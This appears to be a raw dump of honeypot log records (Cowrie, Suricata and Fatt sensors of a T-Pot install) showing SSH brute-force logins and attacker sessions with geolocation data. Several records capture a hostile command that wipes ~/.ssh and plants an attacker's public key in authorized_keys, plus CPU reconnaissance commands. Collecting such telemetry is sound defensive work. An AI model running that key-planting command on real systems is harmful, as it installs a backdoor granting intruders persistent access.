"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32714	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:07.822273+03	2021-09-20 15:00:03.836721+03	{"_id": "ZQYNA3wBvYTbRNuEfUsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:07.822273Z", "@timestamp": "2021-09-20T11:53:07.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32716	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:08.196373+03	2021-09-20 15:00:03.838723+03	{"_id": "aQYNA3wBvYTbRNuEgEvz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "96.78.175.36", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "0d206a306e54", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:53:08.196373Z", "@timestamp": "2021-09-20T11:53:08.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
32717	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:08.524809+03	2021-09-20 15:00:03.839722+03	{"_id": "bAYNA3wBvYTbRNuEgEvz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:08.524809Z", "@timestamp": "2021-09-20T11:53:08.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32718	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:53:19.785964+03	2021-09-20 15:00:03.840722+03	{"_id": "yAYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 61449, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1441274895793708, "@version": "1", "in_iface": "enp5s0", "src_port": 38481, "dest_port": 53, "timestamp": "2021-09-20T11:53:19.785964Z", "@timestamp": "2021-09-20T11:53:19.785Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32719	8.30.234.130	109.199.241.180	Suricata	2021-09-20 14:53:20.219667+03	2021-09-20 15:00:03.842722+03	{"_id": "yQYNA3wBvYTbRNuErUth", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.62.82.9821415109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "flow_id": 1868890429717823, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59975, "dest_port": 22, "timestamp": "2021-09-20T11:53:20.219667Z", "@timestamp": "2021-09-20T11:53:20.219Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
32720	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:19.835204+03	2021-09-20 15:00:03.843723+03	{"_id": "zAYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35800, "dest_port": 443, "timestamp": "2021-09-20T11:53:19.835204", "@timestamp": "2021-09-20T11:53:19.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32721	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:53:19.875256+03	2021-09-20 15:00:03.845723+03	{"_id": "0gYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35800, "timestamp": "2021-09-20T11:53:19.875256", "@timestamp": "2021-09-20T11:53:19.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32722	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:53:20.221625+03	2021-09-20 15:00:03.846722+03	{"_id": "9AYNA3wBvYTbRNuEr0vf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "243925d06499", "@version": "1", "timestamp": "2021-09-20T11:53:20.221625Z", "@timestamp": "2021-09-20T11:53:20.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
32723	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:20.925043+03	2021-09-20 15:00:03.847723+03	{"_id": "8wYNA3wBvYTbRNuEr0vf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "96.78.175.36", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3662450313568115, "duplicate": true, "timestamp": "2021-09-20T11:53:20.925043Z", "@timestamp": "2021-09-20T11:53:20.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32724	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:53:21.056861+03	2021-09-20 15:00:03.848722+03	{"_id": "9gYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [root/fuckthis] failed", "session": "53ad0123b13b", "@version": "1", "password": "fuckthis", "username": "root", "timestamp": "2021-09-20T11:53:21.056861Z", "@timestamp": "2021-09-20T11:53:21.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32725	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:21.883425+03	2021-09-20 15:00:03.850722+03	{"_id": "-gYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:21.883425Z", "@timestamp": "2021-09-20T11:53:21.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32726	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:21.22751+03	2021-09-20 15:00:03.851722+03	{"_id": "-AYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:21.227510Z", "@timestamp": "2021-09-20T11:53:21.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32727	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.398169+03	2021-09-20 15:00:03.852723+03	{"_id": "_wYNA3wBvYTbRNuEt0us", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:22.398169Z", "@timestamp": "2021-09-20T11:53:22.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32728	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:22.736084+03	2021-09-20 15:00:03.854723+03	{"_id": "AQYNA3wBvYTbRNuEt0ys", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:22.736084Z", "@timestamp": "2021-09-20T11:53:22.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32729	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.105896+03	2021-09-20 15:00:03.855724+03	{"_id": "BQYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:22.105896Z", "@timestamp": "2021-09-20T11:53:22.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32730	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.947993+03	2021-09-20 15:00:03.856722+03	{"_id": "FAYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "159.253.30.249", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11113595962524414, "duplicate": true, "timestamp": "2021-09-20T11:53:23.947993Z", "@timestamp": "2021-09-20T11:53:23.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32731	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.488325+03	2021-09-20 15:00:03.857722+03	{"_id": "GQYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:23.488325Z", "@timestamp": "2021-09-20T11:53:23.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32732	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:53:23.607469+03	2021-09-20 15:00:03.858722+03	{"_id": "FgYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "243925d06499", "@version": "1", "duration": 3.5712673664093018, "timestamp": "2021-09-20T11:53:23.607469Z", "@timestamp": "2021-09-20T11:53:23.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
32733	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:23.973294+03	2021-09-20 15:00:03.859722+03	{"_id": "GgYNA3wBvYTbRNuEu0yW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "96.78.175.36", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.36813879013061523, "duplicate": true, "timestamp": "2021-09-20T11:53:23.973294Z", "@timestamp": "2021-09-20T11:53:23.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
